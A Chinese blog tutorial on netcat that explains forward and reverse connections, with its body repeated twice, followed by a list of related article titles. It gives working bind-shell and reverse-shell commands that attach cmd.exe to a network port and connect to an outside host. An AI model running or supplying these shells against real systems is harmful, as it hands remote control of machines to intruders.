netcat使用教程
2017-04-16 16:34
183 查看
主要说一下netcat的两种用法:
1、正向连接:我是服务器,我等着别人来连接我;
2、反向连接:别人是服务器,我主动去连接别人;
netcat常用参数:
-l 打开本地监听模式
-p <port> 指定本地端口
-t 以Telnet的形式响应信息
-e 连接建立后执行的程序
第1种:正向连接
我们想通过自己的本地电脑去操纵公网上的服务器,我们采用正向连接方式,在本地内网主机上得到某台公网服务器的shell。
先假设:
A主机:123.1.2.3 (公网服务器)
B主机:192.168.57.2 (内网主机)
在A主机上执行:nc -l -p 2017 -t -e cmd.exe
意思就是监听A主机的2017端口(等待别人来连接),并在连接建立之后将2017端口上的流量转发给cmd.exe处理。
在B主机上执行:nc -n 123.1.2.3 2017
意思是连接123.1.2.3的2017端口。
这样我们就可以在B主机上通过cmd命令行操纵A主机了。
第2种:反向连接
有时候服务器是内网IP地址,我们不能直接连接它的某一个端口,但是服务器却可以连接公网上的主机;
这时候我们采用反向连接方式,在公网的某台主机上得到内网服务器的shell。
先假设:
A主机:123.1.2.3 (公网主机)
B主机:192.168.57.2 (内网服务器)
在A主机上执行:nc -l -p 2017
意思是监听A主机的2017端口。
在B主机上执行:nc -t -e cmd.exe 123.1.2.3 2017
意思是连接123.1.2.3的2017端口,并在连接建立之后把该端口上的流量转发给cmd.exe处理。
这样我们就可以在A主机上通过cmd命令行操纵B主机了。
1、正向连接:我是服务器,我等着别人来连接我;
2、反向连接:别人是服务器,我主动去连接别人;
netcat常用参数:
-l 打开本地监听模式
-p <port> 指定本地端口
-t 以Telnet的形式响应信息
-e 连接建立后执行的程序
第1种:正向连接
我们想通过自己的本地电脑去操纵公网上的服务器,我们采用正向连接方式,在本地内网主机上得到某台公网服务器的shell。
先假设:
A主机:123.1.2.3 (公网服务器)
B主机:192.168.57.2 (内网主机)
在A主机上执行:nc -l -p 2017 -t -e cmd.exe
意思就是监听A主机的2017端口(等待别人来连接),并在连接建立之后将2017端口上的流量转发给cmd.exe处理。
在B主机上执行:nc -n 123.1.2.3 2017
意思是连接123.1.2.3的2017端口。
这样我们就可以在B主机上通过cmd命令行操纵A主机了。
第2种:反向连接
有时候服务器是内网IP地址,我们不能直接连接它的某一个端口,但是服务器却可以连接公网上的主机;
这时候我们采用反向连接方式,在公网的某台主机上得到内网服务器的shell。
先假设:
A主机:123.1.2.3 (公网主机)
B主机:192.168.57.2 (内网服务器)
在A主机上执行:nc -l -p 2017
意思是监听A主机的2017端口。
在B主机上执行:nc -t -e cmd.exe 123.1.2.3 2017
意思是连接123.1.2.3的2017端口,并在连接建立之后把该端口上的流量转发给cmd.exe处理。
这样我们就可以在A主机上通过cmd命令行操纵B主机了。
相关文章推荐
- JSP教程(三)--JSP中”预定义变量”的使用
- Win32汇编教程五 菜单和加速键的使用
- Win32汇编教程六 工具栏和状态栏的使用
- Win32汇编教程三 一个简单的对话框 --- 兼谈资源文件的使用
- [ant]非常简单的ant使用教程
- JSP入门初级教程之Actions的使用
- 使用ASP站长助手6.0提升webshll中cmd权限图文教程
- [软件架构训练基础教程-10]使用标准
- 世嘉土星模拟器GIRI GIRI & Loader的使用教程
- DirectX5.0最新游戏编程指南 DirectDraw教程篇 四、使用覆盖表面
- JSP教程(七)-pluginAction的使用
- Netcat 1.10 使用
- [翻译教程]使用JBOSS和ECLIPSE构建J2EE应用程序教程--第一章
- 使用VS.NET开发Web Services 简明教程
- InstallShield简明使用教程
- 使用VS.NET开发Web Services 简明教程
- JSP教程(五)-JSP Actions的使用下
- 关于肉鸡的一些使用教程
- JSP入门初级教程之预定义变量的使用